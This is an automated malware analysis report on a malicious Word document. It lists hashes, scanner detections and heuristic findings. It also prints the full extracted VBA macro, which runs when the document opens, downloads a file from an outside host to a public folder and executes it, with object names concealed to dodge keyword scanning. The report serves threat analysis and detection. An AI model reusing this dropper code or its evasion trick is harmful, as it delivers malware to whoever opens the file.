Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c67f1dc5974152a2…

MALICIOUS

Office (OOXML)

140.1 KB Created: 2021-01-27 17:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-20
MD5: 1ba3de1c730e773e4db53bba2e51de6c SHA-1: 55b3dd7c6465c2c258f9a83e83672f0b44c0b36f SHA-256: c67f1dc5974152a25cbda39d3f50cc3b979ee6222c1333eca112aabd1edd5965
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.BlueWord12211-9918950-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueWord12211-9918950-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
          f = CounterListbox.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set CounterListbox = CreateObject(RepoConvertRight + PaintController2.DataConvert)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2162 bytes
SHA-256: f63a1125b4cc12b2506645462f5eb63f73214affa561ad5757d2a9b32628f8f1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
  PaintController2.Frame1_Click
End Sub

Attribute VB_Name = "PaintController2"
Attribute VB_Base = "0{9E5F337F-2F4A-4336-9DD1-7C34A7CBDA03}{B20B203B-E5C6-4E47-9630-E27B737F666C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public SwapBorderVar
Public DataConvert

Function MemSelect()
    Randomize
    MemSelect = CStr(Int(999999 * Rnd) + 1) + ".jpg"
End Function

Private Sub CommandButton2_Click()
ListBox1.AddItem (Logo.ControlTipText)
ListBox1.AddItem ("://dettagl.net/" + MemSelect())
End Sub

Public Sub Frame1_Click()
 ListBox1.AddItem (CommandButton2.ControlTipText)
 ListBox1.AddItem (Image1.ControlTipText)
 CommandButton2_Click
 ListBox1_Click
End Sub

Private Sub ListBox1_Click()
PaintController2.SwapBorderVar = "C:\users\Public\" + MemSelect()
 PaintController2.DataConvert = "http"
 RepoLoad = 1
 
 Dim CounterListbox As Object
 Dim VarDatabase As Object
 

 For Each RepoConvertRight In ListBox1.List
    If RepoLoad = Len("A") Then
      Set CounterListbox = CreateObject(RepoConvertRight + PaintController2.DataConvert)
      CounterListbox.Open "GET", PaintController2.DataConvert + "" + "" + ListBox1.List(3), False
      CounterListbox.Send
    End If
    
    If RepoLoad = Len("BB") Then
      Set VarDatabase = CreateObject(RepoConvertRight)
      VarDatabase.Open
      VarDatabase.Type = 1
      f = CounterListbox.ResponseBody
      VarDatabase.Write f
      VarDatabase.SaveToFile PaintController2.SwapBorderVar, 2
    End If
    
    If RepoLoad = Len("CCC") Then
      Shell% (RepoConvertRight + " " & PaintController2.SwapBorderVar)
    End If
    
    RepoLoad = RepoLoad + 1
 Next
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 113664 bytes
SHA-256: caac7d49f62873fdefbb6546306a7f1fe74be72217f1be291cd16bf7e1eacd1b